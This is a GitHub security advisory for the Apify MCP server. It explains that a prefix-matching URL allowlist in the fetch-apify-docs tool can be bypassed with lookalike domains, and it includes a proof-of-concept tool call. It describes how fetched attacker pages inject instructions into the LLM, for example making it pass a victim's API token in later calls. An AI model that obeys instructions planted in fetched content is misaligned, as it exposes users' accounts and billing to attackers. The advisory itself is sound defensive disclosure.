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Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching

Moderate severity GitHub Reviewed Published May 13, 2026 in apify/apify-mcp-server • Updated May 19, 2026

Package

npm @apify/actors-mcp-server (npm)

Affected versions

< 0.9.21

Patched versions

0.9.21

Description

Summary

The fetch-apify-docs tool validates URLs against a domain allowlist using String.startsWith() instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., https://docs.apify.com.evil.com/), enabling the tool to fetch and return arbitrary web content to the LLM.

Details

Vulnerable component

src/tools/common/fetch_apify_docs.ts, line 51:

const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));

src/const.ts, lines 167-170:

export const ALLOWED_DOC_DOMAINS = [
    'https://docs.apify.com',
    'https://crawlee.dev',
] as const;

How the bypass works

String.startsWith('https://docs.apify.com') matches any string beginning with that prefix, including:

  • https://docs.apify.com.evil.com/payload - attacker-controlled subdomain
  • https://docs.apify.com@evil.com/payload - userinfo component in URL (browser behavior varies, but fetch() in Node.js may follow this)
  • https://docs.apify.com.evil.com:8080/path - custom port on attacker domain

All of these pass the startsWith check because they begin with the exact string https://docs.apify.com.

The fetched content is returned to the LLM

After the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (fetch_apify_docs.ts:69-103):

const response = await fetch(url);
// ...
const html = await response.text();
markdown = htmlToMarkdown(html);
// ...
return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... });

The HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.

While tools like get-html-skeleton have no domain allowlist at all - it accepts any URL. The fetch-apify-docs tool was clearly intended to be more restricted (documentation-only), but the startsWith check defeats that intent.

PoC

{
  "method": "tools/call",
  "params": {
    "name": "fetch-apify-docs",
    "arguments": {
      "url": "https://docs.apify.com.evil.com/prompt-injection-payload"
    }
  }
}

The URL passes the startsWith('https://docs.apify.com') check, fetches the attacker's page, and returns its content to the LLM.

Impact

  • Prompt injection via fetched content: Attacker hosts a page at docs.apify.com.evil.com containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.
  • Security boundary violation: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.
  • SSRF (limited): The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.
  • Account compromise via _meta.apifyToken: Injected prompt instructions can direct the LLM to include a specific _meta.apifyToken (the server's per-request token feature) in subsequent call-actor invocations, redirecting billable operations to a victim's account or accessing their private Actors

References

@jirispilka jirispilka published to apify/apify-mcp-server May 13, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Permissive List of Allowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. Learn more on MITRE.

CVE ID

CVE-2026-46341

GHSA ID

GHSA-jwp7-wg77-3w9v

Credits

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